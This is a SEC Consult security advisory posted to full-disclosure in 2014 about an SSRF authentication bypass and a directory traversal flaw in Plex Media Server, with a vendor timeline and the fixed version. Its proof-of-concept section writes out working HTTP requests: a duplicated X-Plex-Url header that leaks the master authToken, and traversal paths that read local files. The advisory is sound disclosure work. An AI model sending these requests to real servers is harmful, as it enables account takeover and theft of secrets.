full-disclosure - SEC Consult SA-20140228-1 :: Authentication bypass (SSRF) and local file disclosure in Plex Media Server

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Message-ID: <20140228102943.650adf47@sec-consult.com>
Date: Fri, 28 Feb 2014 10:29:43 +0100
From: SEC Consult Vulnerability Lab <research@...-consult.com>
To: <full-disclosure@...ts.grok.org.uk>, bugtraq <bugtraq@...urityfocus.com>
Subject: SEC Consult SA-20140228-1 :: Authentication
 bypass (SSRF) and local file disclosure in Plex Media Server

SEC Consult Vulnerability Lab Security Advisory < 20140228-1 >
=======================================================================
              title: Authentication bypass (SSRF) and local file disclosure 
            product: Plex Media Server
 vulnerable version: <=0.9.9.2.374-aa23a69
      fixed version: >=0.9.9.3
             impact: Critical
           homepage: http://www.plex.tv
              found: 2014-02-06
                 by: Stefan Viehböck
                     SEC Consult Vulnerability Lab
                     https://www.sec-consult.com
=======================================================================

Vendor/product description:
-----------------------------
"Plex is a media player system consisting of a player application with a
10-foot user interface and an associated media server. It is available for
Mac OS X, Linux, and Microsoft Windows."

URL: https://en.wikipedia.org/wiki/Plex_(software)


Vulnerability overview/description:
-----------------------------------
1. Authentication bypass / Server Side Request Forgery (SSRF)
The Plex Media Server "/system/proxy" functionality fails to properly validate
pre-authentication user requests. This allows unauthenticated attackers to make
the Plex Media Server execute arbitrary HTTP requests.

By requesting content from 127.0.0.1 an attacker can bypass all authentication
and execute commands with administrative privileges.

2. Unauthenticated local file disclosure
Because of insufficient input validation, arbitrary local files can be
disclosed. Files that include passwords and other sensitive information can
be accessed.


Plex "Remote" servers (thousands of them can be found via Shodan and Google,
none of them were accessed) are affected by both vulnerabilities as well.


Proof of concept:
-----------------
1. Authentication bypass / Server Side Request Forgery (SSRF)
The following GET request bypasses the webserver whitelist. 

GET /system/proxy HTTP/1.1
Host: <PLEX_WAN_HOST>
X-Plex-Url: http://localhost:32400/myplex/account?IRRELEVANT=
X-Plex-Url: http://my.plexapp.com/


The last X-Plex-Url header value "http://my.plexapp.com/" is contained in
the whitelist (Regex) and passes validation. The request is then processed by
the actual request handler in the backend webserver (Python). Here both header
values are concatenated using a comma. This way the actual URL that is
requested is controlled by the first X-Plex-Url value.
By indicating a parameter (called IRRELEVANT) the second X-Plex-Url value is
dissolved.

This results in the following request (made by Plex Media Server):

GET /myplex/account?IRRELEVANT=,http://my.plexapp.com/ HTTP/1.1
Host: localhost:32400
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.2b4) Gecko/20091124 Firefox/3.6b4 (.NET CLR 3.5.30729)
Connection: close
Accept: */*
Accept-Encoding: gzip


The response for this request is passed to the attacker and includes the
authToken value ("master token"), which can be used to impersonate legitimate
Plex users. Of course other administrative actions can be performed as well.

<?xml version="1.0" encoding="UTF-8"?>
<MyPlex authToken="<REMOVED>" username="<REMOVED>" mappingState="mapped" mappingError="" mappingErrorMessage="1" signInState="ok" publicAddress="1" publicPort="9415" privateAddress="1" privatePort="32400" subscriptionFeatures="cloudsync,pass,sync" subscriptionActive="1" subscriptionState="Active">
</MyPlex>


A video demonstrating this issue has been released by SEC Consult:
http://www.youtube.com/watch?v=f99fm4QU9u8


2. Unauthenticated local file disclosure
The following requests show different functionality that is vulnerable to
directory traversal:

GET /manage/..\..\..\..\..\..\..\..\..\..\secret.txt HTTP/1.1
Host: <HOST>

GET /web/..\..\..\..\..\..\..\..\..\..\secret.txt HTTP/1.1
Host: <HOST>

GET /:/resources/..\..\..\..\..\..\..\..\..\..\secret.txt HTTP/1.1
Host: <HOST>

The /manage/ and /web/ handlers can be exploited without prior authentication.
This vulnerability was confirmed on Windows.



Vulnerable / tested versions:
-----------------------------
The vulnerabilities have been verified to exist in Plex Media Server version
0.9.9.2.374-aa23a69.


Vendor contact timeline:
------------------------
2014-02-09: Contacting vendor through elan@...xapp.com and requesting
            encryption keys.
2014-02-10: Vendor provides encryption keys.
2014-02-10: Sending advisory and proof of concept exploit.
2014-02-10: Vendor acknowledges receipt of advisory.
2014-02-17: Requesting status update.
2014-02-17: Vendor provides release timeline.
2014-02-20: Vendor releases fixed version (0.9.9.3).
2014-02-21: Requesting clarification regarding fixed version.
2014-02-21: Vendors provides further information about fixed version and
            other reported vulnerabilities.
2014-02-28: SEC Consult releases coordinated security advisory.


Solution:
---------
Update to a more recent version of Plex Media Server (eg. 0.9.9.5).


Workaround:
-----------
No workaround available.


Advisory URL:
-------------
https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SEC Consult Vulnerability Lab

SEC Consult
Vienna - Bangkok - Frankfurt/Main - Montreal - Singapore - Vilnius

Headquarter:
Mooslackengasse 17, 1190 Vienna, Austria
Phone:   +43 1 8903043 0
Fax:     +43 1 8903043 15

Mail: research at sec-consult dot com
Web: https://www.sec-consult.com
Blog: http://blog.sec-consult.com
Twitter: https://twitter.com/sec_consult

Interested in working with the experts of SEC Consult?
Write to career@...-consult.com

EOF Stefan Viehböck / @2014

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